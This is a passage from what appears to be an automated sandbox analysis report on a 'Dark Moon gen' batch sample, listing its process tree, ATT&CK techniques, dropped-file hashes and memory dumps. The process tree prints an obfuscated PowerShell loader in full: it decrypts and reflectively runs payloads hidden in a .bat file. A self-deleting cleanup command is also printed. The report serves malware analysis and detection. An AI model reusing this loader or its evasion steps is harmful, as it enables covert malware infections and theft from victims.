        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1912
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3064
    - - C:\Windows\system32\timeout.exe
        
        timeout 2
        5⤵
        Delays execution with timeout.exe
        
        PID:2788
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:1808
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:4556
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:4740
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:3328
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:4552
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:2848
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:1040
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        5⤵
        Runs ping.exe
        
        PID:4684
    - - C:\Windows\system32\PING.EXE
        
        ping discord.com
        5⤵
        Runs ping.exe
        
        PID:3576
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:1636
    - - C:\Windows\system32\PING.EXE
        
        ping www.paysafecard.com
        5⤵
        Runs ping.exe
        
        PID:764
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2024
    - - C:\Windows\system32\PING.EXE
        
        ping www.amazon.com
        5⤵
        Runs ping.exe
        
        PID:2924
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2280
    - - C:\Windows\system32\PING.EXE
        
        ping play.google.com
        5⤵
        Runs ping.exe
        
        PID:4112
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:4480
    - - C:\Windows\system32\PING.EXE
        
        ping store.steampowered.com
        5⤵
        Runs ping.exe
        
        PID:3348
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2748
    - - C:\Windows\system32\PING.EXE
        
        ping netflix.com
        5⤵
        Runs ping.exe
        
        PID:4412
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:116
    - - C:\Windows\system32\PING.EXE
        
        ping www.spotify.com
        5⤵
        Runs ping.exe
        
        PID:2052
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:5440
    - - C:\Windows\system32\PING.EXE
        
        ping www.xbox.com
        5⤵
        Runs ping.exe
        
        PID:2848
    - - C:\Windows\system32\timeout.exe
        
        timeout 0
        5⤵
        Delays execution with timeout.exe
        
        PID:5204
    - - C:\Windows\system32\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4408
    - - C:\Windows\system32\timeout.exe
        
        timeout 2
        5⤵
        Delays execution with timeout.exe
        
        PID:5724
    - - C:\Windows\system32\timeout.exe
        
        timeout 2
        5⤵
        Delays execution with timeout.exe
        
        PID:5572
    - - C:\Windows\system32\PING.EXE
        
        ping www.google.com
        5⤵
        Runs ping.exe
        
        PID:5420
    - - C:\Windows\system32\timeout.exe
        
        timeout 2
        5⤵
        Delays execution with timeout.exe
        
        PID:392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K AyBYMBjlvU.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:396
  - - C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
      "AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:376
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{db9ad00e-61bd-422b-af8b-0a627e084977}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4736
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{17a7b8a0-4fd1-4a27-94cf-de789148ea11}
        5⤵
        
        PID:1636
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & exit
        5⤵
        
        PID:848
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5012
      - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        6⤵
        Runs ping.exe
        
        PID:3280
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"
        6⤵
        Kills process with taskkill
        
        PID:1264
      - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"
        6⤵
        Views/modifies file attributes
        
        PID:728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3668

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3864

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4016

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4188

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3768

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3564

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:508

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2920

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3896

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1372

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4920
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 3200 -ip 3200
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WERF405.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF405.tmp.csv
Size 41KB
SHA256 4e246f8d6c729c36cafe91776caf1f25655250680c94f2a1da0aa7f51eed9adc
MD5 052446f00d3c591c6a886974c3eab9c2
SHA1 54f127e49acf35e4ca66e8db866cc7f4982bc213
SHA512 a2107f09a5ec6167385f7e58eafdad48e4aa65b02adccb2db21472c99e9802da05af00a50199afc17c06f4f37348da2af72b2fdd92e0d4f701ce2ce71214418a
SSDEEP 768:acnz2kZbl76dgKROUoJhTRZ698mRnzGt3EyaTIbKOZAhxF/Sh4hZu6NSN4icEv:aczrl7UoFTmat3gTIOOZAnF/ShKuum4Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

WERF425.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF425.tmp.txt
Size 13KB
SHA256 5510dff07d3680c4f53e00db7a8b0e6da19773eff8fbbe5cb4af62f2ef4ec0fd
MD5 03e7b4700af7e9eeb3a8ef6298c6e6b2
SHA1 ef05ebf9e9fb97afc7faa558f4ccac5a1c692bfb
SHA512 f3ef072239403aaaf4fcbac768065de0925042503f91377ed04ebb1f05747041520ffb2cc324e0c61568d17fe4827f8d6f3949893a1591fe7518c59249a2649d
SSDEEP 96:4iefpRy4HzexYgYQbWlS1HLYEZfltEi3CFIKJIwI3JpMahyhDMDp8Idv3:NefpgXPJjN5CahyhDMDp7dv3
MD5 SHA1 SHA512 SSDEEP

Submit Download

Dark Moon gen.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
Size 35KB
SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
MD5 c153581143e0b72cecae38a393991a4b
SHA1 da43d03b19765594ff124415a060551343823a39
SHA512 8c9807f4a3044f49d99e5b1c2a20d112eba61570fa0e725777a3bd84d6a0e7df1c604579863e27c6d0617c2c84fa4ae8c3b7525e37f7e7ee9c6ef26b6c9db40f
SSDEEP 768:sQFlE38u/LOzTWyv+C42E42aSCghIcjH3oyjoyhPekLLokLL76VkLLHwkLDkLP9J:sQFl48GLOzTWyv+C42E42aSCghIcjH3e
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_4crcx14e.bud.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4crcx14e.bud.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

AyBYMBjlvU.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/60-114-0x00007FFD6BC10000-0x00007FFD6BC20000-memory.dmp

Download

memory/60-104-0x000001D093240000-0x000001D093267000-memory.dmp

Download

memory/376-18-0x00007FFDABB90000-0x00007FFDABD85000-memory.dmp

Download

memory/376-17-0x000002C580000000-0x000002C580024000-memory.dmp

Download

memory/376-25-0x000002C580F20000-0x000002C580F42000-memory.dmp

Download

memory/376-26-0x00007FFDABB90000-0x00007FFDABD85000-memory.dmp

Download

memory/376-28-0x000002C581200000-0x000002C58120A000-memory.dmp

Download

memory/376-23-0x000002C580E60000-0x000002C580EB6000-memory.dmp

Download

memory/376-22-0x000002C580DB0000-0x000002C580E56000-memory.dmp

Download

memory/376-7-0x000002C5DDB50000-0x000002C5DDB72000-memory.dmp

Download

memory/376-20-0x000002C580360000-0x000002C580DB0000-memory.dmp

Download

memory/376-19-0x00007FFDA9DC0000-0x00007FFDA9E7E000-memory.dmp

Download

memory/376-24-0x000002C580EC0000-0x000002C580F18000-memory.dmp

Download

memory/612-112-0x00007FFD6BC10000-0x00007FFD6BC20000-memory.dmp

Download

memory/612-103-0x000002773CAF0000-0x000002773CB17000-memory.dmp

Download

memory/612-99-0x000002773CAC0000-0x000002773CAE2000-memory.dmp

Download

memory/660-108-0x0000029AC5F20000-0x0000029AC5F47000-memory.dmp

Download

memory/660-124-0x00007FFD6BC10000-0x00007FFD6BC20000-memory.dmp

Download

memory/2500-91-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2500-90-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2500-95-0x00000000013A0000-0x00000000013BA000-memory.dmp

Download

memory/2500-93-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2700-29-0x0000000140000000-0x0000000140004000-memory.dmp

Download

memory/2700-30-0x0000000140000000-0x0000000140004000-memory.dmp

Download

memory/4464-59-0x00000275DB760000-0x00000275DBB9E000-memory.dmp

Download

memory/4464-56-0x00007FFDA9DC0000-0x00007FFDA9E7E000-memory.dmp

Download

memory/4464-84-0x00007FFDA9DC0000-0x00007FFDA9E7E000-memory.dmp

Download

memory/4464-85-0x00000275D3940000-0x00000275D3976000-memory.dmp

Download

memory/4464-69-0x00000275D38B0000-0x00000275D3900000-memory.dmp

Download

memory/4464-70-0x00000275D39C0000-0x00000275D3A72000-memory.dmp

Download

memory/4464-55-0x00007FFDABB90000-0x00007FFDABD85000-memory.dmp

Download

memory/4464-83-0x00007FFDABB90000-0x00007FFDABD85000-memory.dmp

Download

memory/4464-82-0x00000275D3860000-0x00000275D38AE000-memory.dmp

Download

memory/4464-60-0x00000275DBBA0000-0x00000275DBC52000-memory.dmp

Download

memory/4464-81-0x00000275D3900000-0x00000275D393C000-memory.dmp

Download

memory/4464-71-0x00000275D3C50000-0x00000275D3E12000-memory.dmp

Download

memory/4464-57-0x00000275D2930000-0x00000275D2EB6000-memory.dmp

Download

memory/4464-61-0x00007FFDABB90000-0x00007FFDABD85000-memory.dmp

Download

memory/4464-58-0x00000275DAF90000-0x00000275DB75A000-memory.dmp

Download

memory/4700-97-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/4700-88-0x00007FFDABB90000-0x00007FFDABD85000-memory.dmp

Download

memory/4700-89-0x00007FFDA9DC0000-0x00007FFDA9E7E000-memory.dmp

Download

memory/4700-87-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/4700-86-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/4736-32-0x0000000000400000-0x0000000000406000-memory.dmp

Download

memory/4736-31-0x0000000000400000-0x0000000000406000-memory.dmp

Download